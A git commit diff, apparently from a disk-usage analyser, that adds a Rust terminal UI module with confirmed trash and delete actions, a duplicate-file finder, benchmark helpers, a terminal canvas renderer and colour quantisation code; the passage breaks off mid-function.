rust: tui (canvas renderer, views, modals, crossterm event loop)

Port of internal/tui. Bubble Tea's message loop is replaced by a
crossterm input thread, timers and background commands feeding one
loop; the frame cache, canvas, colour quantisation, LOD treemap,
selection persistence and modal architecture are kept. Frames are
diffed against the previous one per line and per style run.
Exposes tui::bench::BenchModel and big_tree for benchmarks.
This commit is contained in:
Andy Dixon
2026-10-08 17:44:53 +01:00
parent c0283a19a9
commit 61a444795b
22 changed files with 5918 additions and 0 deletions
+1
View File
@@ -12,6 +12,7 @@ pub mod scan;
pub mod snapshot;
pub mod textutil;
pub mod treemap;
pub mod tui;
/// Boxed error used across mode boundaries.
pub type Error = Box<dyn std::error::Error + Send + Sync>;
+268
View File
@@ -0,0 +1,268 @@
//! Mutating and long-running actions: trash/delete and duplicate search.
use super::canvas::{Canvas, Style, BOLD};
use super::modals::{new_info_modal, ConfirmModal};
use super::model::{Cmd, Model, Msg};
use super::san;
use super::table::{col, Table, TableRow};
use crate::cancel::Cancel;
use crate::duplicate::{self, Finder};
use crate::inventory::{Delta, NodeId, Tree, FLAG_DELETED, NO_NODE};
use crate::platform::{self, Expect};
use crate::textutil;
use crate::treemap::Rect;
use std::sync::{Arc, RwLock};
// ---- Trash ---------------------------------------------------------------
impl Model {
/// Asks for confirmation before moving the selection to the trash. On a
/// headless system (no desktop, so nobody empties the trash and the space
/// is never freed) it deletes permanently instead, after a confirmation
/// that says so.
pub fn request_trash(&mut self, tr: &Tree) -> Cmd {
if self.opts.read_only {
return self.warn("Read-only mode: modifying actions are disabled");
}
if self.snapshot {
return self.warn("Snapshot view: nothing to delete on the live filesystem");
}
if self.scanning {
return self.warn("Wait for the scan to finish before deleting items");
}
let id = self.selected_node(tr);
if id == NO_NODE || id == 0 {
return Cmd::None;
}
let n = tr.node(id);
let path = tr.path(id);
let want = Expect { uid: n.uid, mode: n.mode };
let what = if n.is_dir() { format!("directory with {} files", textutil::count(n.files as i64)) } else { "file".into() };
let mut body = vec![san(&tr.path_bytes(id)), String::new(), format!("{what} · {}", textutil::size(n.total(self.size_mode))), String::new()];
if platform::headless() {
body.push("This is a headless system (no X or Wayland display), so there is no trash:".into());
body.push("it will be permanently deleted and cannot be recovered.".into());
self.open_modal(Box::new(ConfirmModal {
ttl: "Delete permanently? Are you sure?".into(),
body,
yes: "delete permanently".into(),
on_yes: Some(Box::new(move |m: &mut Model| {
let t = m.tree.clone();
Cmd::run(move || {
let err = platform::delete(&path, want).err().map(|e| e.to_string());
Msg::TrashDone { tree: t, id, err, done: "Deleted".into() }
})
})),
}));
return Cmd::None;
}
body.push(format!("It will be moved to the {}, not permanently deleted.", platform::TRASH_NAME));
self.open_modal(Box::new(ConfirmModal {
ttl: "Move to trash?".into(),
body,
yes: format!("move to {}", platform::TRASH_NAME),
on_yes: Some(Box::new(move |m: &mut Model| {
let t = m.tree.clone();
Cmd::run(move || {
let err = platform::trash(&path, want).err().map(|e| e.to_string());
Msg::TrashDone { tree: t, id, err, done: format!("Moved to {}", platform::TRASH_NAME) }
})
})),
}));
Cmd::None
}
pub fn trash_done(&mut self, tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String) -> Cmd {
if let Some(e) = err {
return self.warn(format!("Delete failed: {}", textutil::sanitize(&e)));
}
if !Arc::ptr_eq(&tree, &self.tree) || self.scanning {
// A rescan replaced the inventory; the new scan reflects the change.
return self.info(done);
}
// The scan has finished, so the UI thread is the tree's only writer.
let name = {
let mut t = self.tree.write().unwrap();
let n = t.node(id).clone();
let mut d = Delta { size: -n.tot_size, alloc: -n.tot_alloc, files: -(n.files as i64), dirs: -(n.dirs as i64), ..Default::default() };
if n.is_dir() {
d.dirs -= 1;
if let Some(cs) = t.cat_sizes(id) {
for (c, v) in d.cat.iter_mut().zip(cs) {
*c = -v;
}
}
} else {
d.files -= 1;
d.cat[n.cat as usize] = -n.tot_alloc;
}
t.propagate(n.parent, &d);
let nm = t.node_mut(id);
nm.flags |= FLAG_DELETED;
(nm.tot_size, nm.tot_alloc) = (0, 0);
n.name
};
self.invalidate();
self.info(format!("{done}: {}", san(&name)))
}
// ---- Duplicates ----------------------------------------------------------
pub fn start_duplicates(&mut self) -> Cmd {
if self.snapshot {
return self.warn("Duplicate detection needs the live filesystem");
}
if self.scanning {
return self.warn("Wait for the scan to finish first");
}
if self.dups.is_some() {
self.ensure_dup_view();
return Cmd::None;
}
self.open_modal(Box::new(ConfirmModal {
ttl: "Find duplicate files?".into(),
body: vec![
"Files are grouped by size, then sampled, then fully hashed with SHA-256.".into(),
"Only identical hashes are reported as duplicates.".into(),
String::new(),
"This reads file contents (it may take a while and can update access times).".into(),
],
yes: "start".into(),
on_yes: Some(Box::new(|m: &mut Model| {
let cancel = Cancel::new();
let f = Arc::new(Finder::default());
m.dups = Some(DupState { running: true, finder: f.clone(), groups: Vec::new(), err: None, cancel: cancel.clone() });
m.ensure_dup_view();
let t = m.tree.clone();
let tick = m.start_ticking();
Cmd::batch(vec![
tick,
Cmd::run(move || {
let g = f.find(&cancel, &t, duplicate::Options { min_size: 1, workers: 4 });
Msg::DupDone { finder: f, groups: g }
}),
])
})),
}));
Cmd::None
}
pub fn ensure_dup_view(&mut self) {
if let Some(i) = self.views.iter().position(|v| matches!(v, super::views::View::Dups(_))) {
self.set_view(i);
return;
}
self.views.push(super::views::View::Dups(DupView::default()));
self.set_view(self.views.len() - 1);
}
pub fn dup_done(&mut self, finder: Arc<Finder>, groups: Option<Vec<duplicate::Group>>) -> Cmd {
let Some(d) = self.dups.as_mut().filter(|d| Arc::ptr_eq(&d.finder, &finder)) else { return Cmd::None };
d.running = false;
d.err = groups.is_none().then(|| "cancelled".to_string());
d.groups = groups.unwrap_or_default();
let (n, wasted) = (d.groups.len(), d.groups.iter().map(|g| g.wasted()).sum::<i64>());
self.dirty = true;
self.info(format!("Duplicates: {n} verified groups, {} reclaimable", textutil::size(wasted)))
}
}
pub(crate) struct DupState {
pub running: bool,
pub finder: Arc<Finder>,
pub groups: Vec<duplicate::Group>,
pub err: Option<String>,
pub cancel: Cancel,
}
#[derive(Default)]
pub(crate) struct DupView {
pub tb: Table,
pub rows: Vec<(usize, NodeId)>, // (group, file); NO_NODE for a group header
}
impl DupView {
pub fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
let Some(d) = &m.dups else {
cv.text_centered(r.x, r.y + r.h / 2, r.w, "Press D to search for duplicates", t.muted());
return;
};
if d.running {
let p = d.finder.progress();
cv.fill(r, " ", t.base());
let y = r.y + r.h / 2 - 2;
cv.text_centered(r.x, y, r.w, &format!("Finding duplicates — {}…", p.stage), Style::new(t.accent, t.bg).with(BOLD));
cv.text_centered(r.x, y + 2, r.w,
&format!("{} candidate files in {} size groups", textutil::count(p.candidates), textutil::count(p.candidate_groups)), t.base());
if p.bytes_to_hash > 0 {
let frac = p.bytes_hashed as f64 / p.bytes_to_hash as f64;
let bw = 60.min(r.w - 10);
m.paint_bar(cv, r.x + (r.w - bw) / 2, y + 4, bw, frac, t.accent, false);
cv.text_centered(r.x, y + 5, r.w,
&format!("{} of {} hashed · {} skipped", textutil::size(p.bytes_hashed), textutil::size(p.bytes_to_hash), textutil::count(p.skipped)),
t.muted());
}
return;
}
self.rows.clear();
let mut rows = Vec::new();
for (gi, g) in d.groups.iter().enumerate() {
self.rows.push((gi, NO_NODE));
let hash: String = g.hash[..8].iter().map(|b| format!("{b:02x}")).collect();
rows.push(TableRow {
cells: vec![textutil::size(g.wasted()), format!("{} × {}", g.files.len(), textutil::size(g.size)),
format!("verified identical · sha256 {hash}…")],
styles: vec![Some(Style::new(t.warn, t.bg).with(BOLD)), Some(Style::new(t.fg, t.bg).with(BOLD)), Some(Style::new(t.ok, t.bg))],
bar: -1.0,
..Default::default()
});
for &id in &g.files {
self.rows.push((gi, id));
rows.push(TableRow { cells: vec![String::new(), String::new(), format!(" {}", san(&tr.path_bytes(id)))], bar: -1.0, ..Default::default() });
}
}
let mut title = format!("Duplicates — {} groups (Enter details · Space go to)", d.groups.len());
if let Some(e) = &d.err {
title += &format!(" — stopped: {}", textutil::sanitize(e));
}
let cols = [col("WASTED", 10, true, false), col("COPIES", 16, false, false), col("", 0, false, false)];
self.tb.paint(m, cv, r, &cols, &rows, &title);
}
pub fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
if self.tb.key(k, self.rows.len()) {
return (true, Cmd::None);
}
if self.tb.at() < self.rows.len() {
let (g, mut id) = self.rows[self.tb.at()];
if id == NO_NODE {
if let Some(d) = m.dups.as_ref().filter(|d| g < d.groups.len()) {
id = d.groups[g].files[0];
}
}
if id != NO_NODE {
match k {
"enter" => {
let md = new_info_modal(m, tr, id);
m.open_modal(md);
return (true, Cmd::None);
}
"space" => {
m.jump_to(tr, id);
return (true, Cmd::None);
}
"c" | "o" | "d" => m.sel = id as i64,
_ => {}
}
}
}
if k == "esc" {
if let Some(d) = m.dups.as_ref().filter(|d| d.running) {
d.cancel.cancel();
return (true, Cmd::None);
}
}
(false, Cmd::None)
}
}
+126
View File
@@ -0,0 +1,126 @@
//! Benchmark hooks: the model driven with no terminal, rendering in
//! true colour, as the Go benchmarks do.
use super::model::{Key, Model, Msg, Options, Profile};
use crate::cancel::Cancel;
use crate::config::Settings;
use crate::inventory::{Category, Kind, NodeId, SizeMode, Tree};
use std::sync::{Arc, RwLock};
/// A model with no terminal. Every method that renders returns the frame
/// length so the work cannot be optimised away.
pub struct BenchModel {
m: Model,
}
pub(crate) fn opts_for(tree: Arc<RwLock<Tree>>) -> Options {
Options {
read_only: false,
theme: String::new(),
size_mode: SizeMode::Allocated,
mouse: false,
color: String::new(),
save: String::new(),
settings: Settings::default(),
start: Arc::new(move |_| Ok((None, tree.clone()))),
diff: None,
}
}
impl BenchModel {
pub fn new(tree: Arc<RwLock<Tree>>, w: u16, h: u16) -> BenchModel {
let mut m = Model::new(opts_for(tree.clone()), None, tree, Cancel::new());
m.profile = Profile::TrueColor;
m.update(Msg::Size(w as i32, h as i32));
BenchModel { m }
}
/// Invalidates the data caches and renders: sorting children, LOD
/// selection, layout and paint.
pub fn cold_frame(&mut self) -> usize {
self.m.invalidate();
self.m.view().len()
}
/// Resizes and renders (child lists stay cached).
pub fn resize(&mut self, w: u16, h: u16) -> usize {
self.m.update(Msg::Size(w as i32, h as i32));
self.m.view().len()
}
/// Sends a key ("right", "down", "left", "up", …) and renders.
pub fn key(&mut self, k: &str) -> usize {
self.m.update(Msg::Key(Key::from_name(k)));
self.m.view().len()
}
/// Makes the root's child with this name the zoom root.
pub fn zoom_to_child_named(&mut self, name: &[u8]) {
let t = self.m.tree.clone();
let g = t.read().unwrap();
if let Some((id, _)) = g.children(0).find(|(_, n)| &*n.name == name) {
self.m.zoom = id;
}
}
/// Sets the query and runs the filter synchronously.
pub fn apply_filter(&mut self, q: &str) {
self.m.search.ed.set(q);
let _ = self.m.query_changed();
for msg in self.m.apply_filter().run_sync() {
self.m.update(msg);
}
}
}
/// A small deterministic PRNG (splitmix64).
struct Rng(u64);
impl Rng {
fn next(&mut self) -> u64 {
self.0 = self.0.wrapping_add(0x9e37_79b9_7f4a_7c15);
let mut z = self.0;
z = (z ^ (z >> 30)).wrapping_mul(0xbf58_476d_1ce4_e5b9);
z = (z ^ (z >> 27)).wrapping_mul(0x94d0_49bb_1331_11eb);
z ^ (z >> 31)
}
/// Uniform in (0, 1].
fn unit(&mut self) -> f64 {
((self.next() >> 11) + 1) as f64 / (1u64 << 53) as f64
}
fn exp(&mut self) -> f64 {
-self.unit().ln()
}
fn intn(&mut self, n: u64) -> u64 {
self.next() % n
}
}
/// ~1M nodes in memory: 200 top-level dirs with 40 subdirectories of 100
/// files each, plus one flat directory with 200k files.
pub fn big_tree() -> Tree {
let mut r = Rng(1);
let mut t = Tree::new(b"/big", Kind::Dir);
let mut file = |t: &mut Tree, p: NodeId, i: usize| {
let id = t.add(p, format!("f{i}.dat").as_bytes(), Kind::File);
let n = t.node_mut(id);
n.size = (r.exp() * 1e6) as i64;
n.alloc = n.size;
n.cat = Category::from_u8(r.intn(crate::inventory::NUM_CATEGORIES as u64) as u8);
};
let flat = t.add(0, b"flat", Kind::Dir);
for i in 0..200_000 {
file(&mut t, flat, i);
}
for d in 0..200 {
let top = t.add(0, format!("dir{d}").as_bytes(), Kind::Dir);
for s in 0..40 {
let sub = t.add(top, format!("sub{s}").as_bytes(), Kind::Dir);
for f in 0..100 {
file(&mut t, sub, f);
}
}
}
t.recompute();
t
}
+360
View File
@@ -0,0 +1,360 @@
//! An in-memory cell grid that every view paints into; serialised once per
//! frame with minimal SGR changes.
use super::color256::{quant16, quant256};
use crate::textutil;
use crate::treemap::Rect;
use std::fmt::Write;
/// 0 for the terminal default, otherwise 0x01RRGGBB.
#[derive(Clone, Copy, PartialEq, Eq, Hash, Default, Debug)]
pub(crate) struct Color(pub u32);
/// Builds a colour.
pub(crate) const fn rgb(r: u8, g: u8, b: u8) -> Color {
Color(1 << 24 | (r as u32) << 16 | (g as u32) << 8 | b as u32)
}
impl Color {
/// Parses "#rrggbb".
pub fn hex(s: &str) -> Option<Color> {
let s = s.strip_prefix('#').unwrap_or(s);
if s.len() != 6 || !s.bytes().all(|b| b.is_ascii_hexdigit()) {
return None;
}
u32::from_str_radix(s, 16).ok().map(|v| Color(1 << 24 | v))
}
pub fn is_default(self) -> bool {
self.0 == 0
}
pub fn r(self) -> u8 {
(self.0 >> 16) as u8
}
pub fn g(self) -> u8 {
(self.0 >> 8) as u8
}
pub fn b(self) -> u8 {
self.0 as u8
}
pub fn comps(self) -> (f64, f64, f64) {
(self.r() as f64 / 255.0, self.g() as f64 / 255.0, self.b() as f64 / 255.0)
}
/// Blends c towards o by t (0..1). Default colours are returned as-is.
pub fn mix(self, o: Color, t: f64) -> Color {
if self.0 == 0 || o.0 == 0 {
return self;
}
let (r1, g1, b1) = self.comps();
let (r2, g2, b2) = o.comps();
let f = |a: f64, b: f64| ((a + (b - a) * t) * 255.0) as u8;
rgb(f(r1, r2), f(g1, g2), f(b1, b2))
}
/// Perceived brightness 0..1.
pub fn luma(self) -> f64 {
let (r, g, b) = self.comps();
0.299 * r + 0.587 * g + 0.114 * b
}
}
/// Text attribute bit set.
pub(crate) type Attr = u8;
pub(crate) const BOLD: Attr = 1;
pub(crate) const FAINT: Attr = 2;
pub(crate) const ITALIC: Attr = 4;
pub(crate) const UNDERLINE: Attr = 8;
pub(crate) const REVERSE: Attr = 16;
/// A cell style.
#[derive(Clone, Copy, PartialEq, Eq, Default, Debug)]
pub(crate) struct Style {
pub fg: Color,
pub bg: Color,
pub attr: Attr,
}
impl Style {
pub const fn new(fg: Color, bg: Color) -> Style {
Style { fg, bg, attr: 0 }
}
pub const fn with(self, a: Attr) -> Style {
Style { attr: self.attr | a, ..self }
}
}
const INLINE: usize = 15;
const HEAP: u8 = 255;
/// One grid cell. The cluster is stored inline (n bytes) or, if longer,
/// in the canvas side table (n == HEAP, index in the first four bytes).
/// n == 0 marks the continuation of a wide cluster.
#[derive(Clone, Copy)]
struct Cell {
g: [u8; INLINE],
n: u8,
w: u8,
st: Style,
}
impl Cell {
fn space(st: Style) -> Cell {
let mut g = [0; INLINE];
g[0] = b' ';
Cell { g, n: 1, w: 1, st }
}
fn is_cont(&self) -> bool {
self.n == 0
}
fn set_space(&mut self) {
self.g[0] = b' ';
self.n = 1;
self.w = 1;
}
}
/// Box glyph sets.
#[derive(Clone, Copy)]
pub(crate) struct BoxChars {
pub h: &'static str,
pub v: &'static str,
pub tl: &'static str,
pub tr: &'static str,
pub bl: &'static str,
pub br: &'static str,
}
pub(crate) const BOX_LIGHT: BoxChars = BoxChars { h: "─", v: "│", tl: "┌", tr: "┐", bl: "└", br: "┘" };
pub(crate) const BOX_ROUND: BoxChars = BoxChars { h: "─", v: "│", tl: "╭", tr: "╮", bl: "╰", br: "╯" };
pub(crate) const BOX_DOUBLE: BoxChars = BoxChars { h: "═", v: "║", tl: "╔", tr: "╗", bl: "╚", br: "╝" };
pub(crate) const BOX_ASCII: BoxChars = BoxChars { h: "-", v: "|", tl: "+", tr: "+", bl: "+", br: "+" };
pub(crate) const BOX_ASCII_SEL: BoxChars = BoxChars { h: "=", v: "#", tl: "#", tr: "#", bl: "#", br: "#" };
/// Selects how colours are serialised.
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
pub(crate) enum Depth {
True,
C256,
C16,
None, // attributes only
}
/// An in-memory cell grid.
pub(crate) struct Canvas {
pub w: i32,
pub h: i32,
c: Vec<Cell>,
big: Vec<String>,
}
impl Canvas {
/// Creates a canvas filled with spaces in style st.
pub fn new(w: i32, h: i32, st: Style) -> Canvas {
let (w, h) = (w.max(0), h.max(0));
Canvas { w, h, c: vec![Cell::space(st); (w * h) as usize], big: Vec::new() }
}
fn inside(&self, x: i32, y: i32) -> bool {
x >= 0 && y >= 0 && x < self.w && y < self.h
}
fn cell_str<'a>(&'a self, c: &'a Cell) -> &'a str {
if c.n == HEAP {
let i = u32::from_le_bytes([c.g[0], c.g[1], c.g[2], c.g[3]]) as usize;
return &self.big[i];
}
// Only whole UTF-8 clusters are ever stored.
std::str::from_utf8(&c.g[..c.n as usize]).unwrap_or("?")
}
fn make(&mut self, s: &str, w: i32, st: Style) -> Cell {
let mut g = [0; INLINE];
let n = if s.len() <= INLINE {
g[..s.len()].copy_from_slice(s.as_bytes());
s.len() as u8
} else {
g[..4].copy_from_slice(&(self.big.len() as u32).to_le_bytes());
self.big.push(s.to_string());
HEAP
};
Cell { g, n, w: w as u8, st }
}
/// Writes one cluster of width w at (x, y), repairing any wide cluster
/// it overlaps so the grid never holds half a character.
fn put(&mut self, x: i32, y: i32, s: &str, w: i32, st: Style) {
if !self.inside(x, y) || x + w > self.w {
return;
}
let row = (y * self.w) as usize;
let (xu, wu, cw) = (x as usize, w as usize, self.w as usize);
for i in xu..xu + wu {
if self.c[row + i].is_cont() && i > 0 && i == xu {
// overwriting the tail of a wide cluster
self.c[row + i - 1].set_space();
}
let c = self.c[row + i];
if !c.is_cont() && c.w > 1 && i + 1 < cw && self.c[row + i + 1].is_cont() {
// overwriting its head
self.c[row + i + 1].set_space();
}
}
self.c[row + xu] = self.make(s, w, st);
for i in 1..wu {
self.c[row + xu + i] = Cell { g: [0; INLINE], n: 0, w: 0, st };
}
}
/// Draws s at (x, y), clipped to max_w cells and the canvas. Control
/// characters are replaced as a second line of defence (callers sanitise
/// untrusted strings first). It returns the number of cells used.
pub fn text(&mut self, x: i32, y: i32, s: &str, max_w: i32, st: Style) -> i32 {
if y < 0 || y >= self.h {
return 0;
}
let limit = (x + max_w).min(self.w);
let mut cx = x;
textutil::clusters(s, |c, w| {
let (mut c, mut w) = (c, w as i32);
let b = c.as_bytes();
if b[0] < 0x20 || b[0] == 0x7f || (b.len() > 1 && b[0] == 0xc2 && b[1] < 0xa0) {
(c, w) = ("?", 1);
}
if cx + w > limit {
// A wide cluster that does not fit leaves a blank cell.
while cx < limit {
if cx >= 0 {
self.put(cx, y, " ", 1, st);
}
cx += 1;
}
return false;
}
if cx >= 0 {
self.put(cx, y, c, w, st);
}
cx += w;
true
});
cx - x
}
/// Draws s centred within [x, x+w).
pub fn text_centered(&mut self, x: i32, y: i32, w: i32, s: &str, st: Style) {
let s = textutil::truncate(s, w.max(0) as usize);
self.text(x + (w - textutil::width(&s) as i32) / 2, y, &s, w, st);
}
/// Draws s right-aligned ending at x+w.
pub fn text_right(&mut self, x: i32, y: i32, w: i32, s: &str, st: Style) {
let s = textutil::truncate(s, w.max(0) as usize);
self.text(x + w - textutil::width(&s) as i32, y, &s, w, st);
}
/// Fills r with the single-cell cluster ch.
pub fn fill(&mut self, r: Rect, ch: &str, st: Style) {
for y in r.y.max(0)..(r.y + r.h).min(self.h) {
for x in r.x.max(0)..(r.x + r.w).min(self.w) {
self.put(x, y, ch, 1, st);
}
}
}
/// Applies f to the style of every cell in r.
pub fn restyle(&mut self, r: Rect, f: impl Fn(Style) -> Style) {
for y in r.y.max(0)..(r.y + r.h).min(self.h) {
for x in r.x.max(0)..(r.x + r.w).min(self.w) {
let c = &mut self.c[(y * self.w + x) as usize];
c.st = f(c.st);
}
}
}
/// Draws a border around r (which must be at least 2×2).
pub fn draw_box(&mut self, r: Rect, b: BoxChars, st: Style) {
if r.w < 2 || r.h < 2 {
return;
}
let (x1, y1) = (r.x + r.w - 1, r.y + r.h - 1);
for x in r.x + 1..x1 {
self.put(x, r.y, b.h, 1, st);
self.put(x, y1, b.h, 1, st);
}
for y in r.y + 1..y1 {
self.put(r.x, y, b.v, 1, st);
self.put(x1, y, b.v, 1, st);
}
self.put(r.x, r.y, b.tl, 1, st);
self.put(x1, r.y, b.tr, 1, st);
self.put(r.x, y1, b.bl, 1, st);
self.put(x1, y1, b.br, 1, st);
}
/// Draws a horizontal rule.
pub fn hline(&mut self, x: i32, y: i32, w: i32, ch: &str, st: Style) {
for i in x..x + w {
self.put(i, y, ch, 1, st);
}
}
/// Serialises the canvas as lines of text with SGR styling. For 256 and
/// 16 colours it quantizes with its own perceptual mapping (see
/// color256.rs); Depth::None keeps attributes only.
pub fn render(&self, depth: Depth) -> String {
let mut b = String::with_capacity((self.w * self.h * 4) as usize);
for y in 0..self.h {
if y > 0 {
b.push('\n');
}
let mut cur = Style::default();
let mut first = true;
for x in 0..self.w {
let c = &self.c[(y * self.w + x) as usize];
if c.is_cont() {
continue;
}
if first || c.st != cur {
sgr(&mut b, c.st, depth);
cur = c.st;
first = false;
}
b.push_str(self.cell_str(c));
}
b.push_str("\x1b[0m");
}
b
}
}
fn sgr(b: &mut String, st: Style, depth: Depth) {
b.push_str("\x1b[0");
for (bit, code) in [(BOLD, ";1"), (FAINT, ";2"), (ITALIC, ";3"), (UNDERLINE, ";4"), (REVERSE, ";7")] {
if st.attr & bit != 0 {
b.push_str(code);
}
}
let col = |b: &mut String, c: Color, bg: bool| {
if c.is_default() {
return;
}
let _ = match depth {
Depth::None => Ok(()),
Depth::C256 => write!(b, ";{};5;{}", if bg { 48 } else { 38 }, quant256(c)),
Depth::C16 => {
let n = quant16(c) as u32;
let mut code = if n >= 8 { 90 + n - 8 } else { 30 + n };
if bg {
code += 10;
}
write!(b, ";{code}")
}
Depth::True => write!(b, ";{};2;{};{};{}", if bg { 48 } else { 38 }, c.r(), c.g(), c.b()),
};
};
col(b, st.fg, false);
col(b, st.bg, true);
b.push('m');
}
+92
View File
@@ -0,0 +1,92 @@
//! The stock 256-colour conversion maps dark, slightly tinted colours to
//! saturated cube entries (olive, navy), which wrecks the subtle shading the
//! treemap relies on. quant256 picks the perceptually nearest entry (redmean
//! distance) among the cube and the grey ramp, never the palette-dependent
//! first 16 entries.
use super::canvas::Color;
use std::cell::RefCell;
use std::collections::HashMap;
const CUBE_LEVELS: [i32; 6] = [0, 95, 135, 175, 215, 255];
thread_local! {
static Q256: RefCell<HashMap<u32, u8>> = RefCell::new(HashMap::new());
static Q16: RefCell<HashMap<u32, u8>> = RefCell::new(HashMap::new());
}
fn redmean(r1: i32, g1: i32, b1: i32, r2: i32, g2: i32, b2: i32) -> i32 {
let rm = (r1 + r2) / 2;
let (dr, dg, db) = (r1 - r2, g1 - g2, b1 - b2);
(((512 + rm) * dr * dr) >> 8) + 4 * dg * dg + (((767 - rm) * db * db) >> 8)
}
pub(crate) fn quant256(c: Color) -> u8 {
if let Some(v) = Q256.with(|q| q.borrow().get(&c.0).copied()) {
return v;
}
let (r, g, b) = (c.r() as i32, c.g() as i32, c.b() as i32);
let (mut best, mut best_d) = (16, i32::MAX);
for i in 0..216 {
let (cr, cg, cb) = (CUBE_LEVELS[i / 36], CUBE_LEVELS[i / 6 % 6], CUBE_LEVELS[i % 6]);
let d = redmean(r, g, b, cr, cg, cb);
if d < best_d {
(best, best_d) = (16 + i, d);
}
}
for i in 0..24 {
let v = 8 + 10 * i as i32;
let d = redmean(r, g, b, v, v, v);
if d < best_d {
(best, best_d) = (232 + i, d);
}
}
Q256.with(|q| q.borrow_mut().insert(c.0, best as u8));
best as u8
}
/// Maps a colour to a basic colour. Dark shades become black and
/// unsaturated colours grey/white, so tints and shadows stay quiet;
/// saturated colours keep their hue (bright variant when light), so category
/// colours survive. The stock conversion instead turns dark tints into
/// bright yellow/cyan.
pub(crate) fn quant16(c: Color) -> u8 {
if let Some(v) = Q16.with(|q| q.borrow().get(&c.0).copied()) {
return v;
}
let (rf, gf, bf) = c.comps();
let (mx, mn) = (rf.max(gf).max(bf), rf.min(gf).min(bf));
let luma = c.luma();
let n = if luma < 0.2 {
0
} else if mx - mn < 0.12 {
// grey
if luma < 0.45 {
8
} else if luma < 0.8 {
7
} else {
15
}
} else {
// Hue in sixths: red, yellow, green, cyan, blue, magenta.
let mut h = if mx == rf {
((gf - bf) / (mx - mn)) % 6.0
} else if mx == gf {
(bf - rf) / (mx - mn) + 2.0
} else {
(rf - gf) / (mx - mn) + 4.0
};
if h < 0.0 {
h += 6.0
}
let ansi = [1u8, 3, 2, 6, 4, 5][h.round() as usize % 6];
if luma > 0.5 {
ansi + 8
} else {
ansi
}
};
Q16.with(|q| q.borrow_mut().insert(c.0, n));
n
}
+181
View File
@@ -0,0 +1,181 @@
//! Size lookups, the cached sorted child lists, selection upkeep and
//! colouring.
use super::canvas::Color;
use super::model::{group_id, group_parent, is_group, Model, NO_SEL};
use crate::inventory::{NodeId, Tree, FLAG_DELETED, NO_NODE};
use crate::snapshot::Status;
use std::collections::HashSet;
use std::rc::Rc;
/// A cached, size-sorted child list (zero-size entries removed).
#[derive(Default)]
pub(crate) struct Kids {
pub ids: Vec<NodeId>,
pub sizes: Vec<i64>,
pub total: i64,
}
impl Model {
/// The size that drives layout: the filtered size when a filter is
/// active, otherwise the aggregate in the current size mode.
pub fn size_of(&self, tr: &Tree, id: NodeId) -> i64 {
if let Some(r) = &self.search.result {
return r.size(id);
}
let n = tr.node(id);
if n.has(FLAG_DELETED) {
return 0;
}
n.total(self.size_mode)
}
/// The sorted children of id, cached until data changes.
pub fn kids_of(&mut self, tr: &Tree, id: NodeId) -> Rc<Kids> {
if self.kids_ver != self.data_ver {
self.kids_cache.clear();
self.kids_ver = self.data_ver;
}
if let Some(k) = self.kids_cache.get(&id) {
return k.clone();
}
let mut v: Vec<(i64, NodeId)> =
tr.children(id).map(|(c, _)| (self.size_of(tr, c), c)).filter(|&(s, _)| s > 0).collect();
v.sort_unstable_by(|a, b| b.0.cmp(&a.0).then(a.1.cmp(&b.1)));
let k = Rc::new(Kids {
total: v.iter().map(|e| e.0).sum(),
sizes: v.iter().map(|e| e.0).collect(),
ids: v.iter().map(|e| e.1).collect(),
});
self.kids_cache.insert(id, k.clone());
k
}
/// The selected inventory node (NO_NODE for groups).
pub fn selected_node(&self, tr: &Tree) -> NodeId {
if self.sel == NO_SEL || is_group(self.sel) || self.sel >= tr.len() as i64 {
return NO_NODE;
}
self.sel as NodeId
}
/// Keeps the selection meaningful after any change: if the selected node
/// is no longer a direct, visible child of the zoom root it falls back to
/// the visible ancestor, then the group containing it, then the largest
/// child.
pub fn ensure_selection(&mut self, tr: &Tree) {
let k = self.kids_of(tr, self.zoom);
if k.ids.is_empty() {
self.sel = NO_SEL;
return;
}
if !self.user_sel {
// Until the user picks something, follow the largest block (it
// changes while a scan is running).
self.sel = k.ids[0] as i64;
return;
}
if is_group(self.sel) {
if group_parent(self.sel) == self.zoom {
return;
}
self.sel = NO_SEL;
}
let id = self.selected_node(tr);
if id != NO_NODE {
// Walk up to the direct child of the zoom root.
let mut cur = id;
while cur != NO_NODE {
if tr.node(cur).parent == self.zoom {
if self.size_of(tr, cur) > 0 {
self.sel = cur as i64;
return;
}
break;
}
cur = tr.node(cur).parent;
}
}
self.sel = k.ids[0] as i64;
}
/// Maps the selection onto the treemap blocks: a node collapsed into the
/// LOD group selects the group.
pub fn visible_sel(&self, blocks: &HashSet<i64>) -> i64 {
if blocks.contains(&self.sel) {
return self.sel;
}
if !is_group(self.sel) && blocks.contains(&group_id(self.zoom)) {
return group_id(self.zoom);
}
self.sel
}
/// Makes dir the treemap root.
pub fn zoom_to(&mut self, tr: &Tree, dir: NodeId) {
if dir == self.zoom {
return;
}
let prev = self.zoom;
self.zoom = dir;
// Coming back out, keep the directory we left selected.
self.sel = if tr.is_ancestor(dir, prev) { prev as i64 } else { NO_SEL };
self.user_sel = self.sel != NO_SEL;
self.zoomed = true;
self.dirty = true;
}
pub fn set_view(&mut self, i: usize) {
if i < self.views.len() {
self.view = i;
self.dirty = true;
}
}
/// The base colour for a block.
pub fn color_of(&self, tr: &Tree, id: i64) -> Color {
let t = &self.theme;
if is_group(id) {
return t.group;
}
let nid = id as NodeId;
let n = tr.node(nid);
if let Some(d) = &self.opts.diff {
let total = n.total(self.size_mode);
return match d.status_of(tr, nid, self.size_mode) {
Status::Added => t.diff_new,
Status::Grew => {
let old = d.old_size(nid, self.size_mode).unwrap_or(0);
t.diff_same.mix(t.diff_grow, ratio(total - old, old))
}
Status::Shrank => {
let old = d.old_size(nid, self.size_mode).unwrap_or(0);
t.diff_same.mix(t.diff_shrink, ratio(old - total, old))
}
_ => t.diff_same,
};
}
if !n.is_dir() {
if let Some(c) = t.ext.as_ref().and_then(|e| e.get(tr.ext_name(n))) {
return *c;
}
return t.cat[n.cat as usize];
}
let (mut best, mut best_v) = (None, 0);
for (i, &v) in tr.cat_sizes(nid).into_iter().flatten().enumerate() {
if v > best_v {
(best, best_v) = (Some(i), v);
}
}
best.map_or(t.empty_dir, |b| t.cat[b])
}
}
/// Maps a relative change to 0.35..1 for colour intensity.
fn ratio(delta: i64, base: i64) -> f64 {
if base <= 0 {
return 1.0;
}
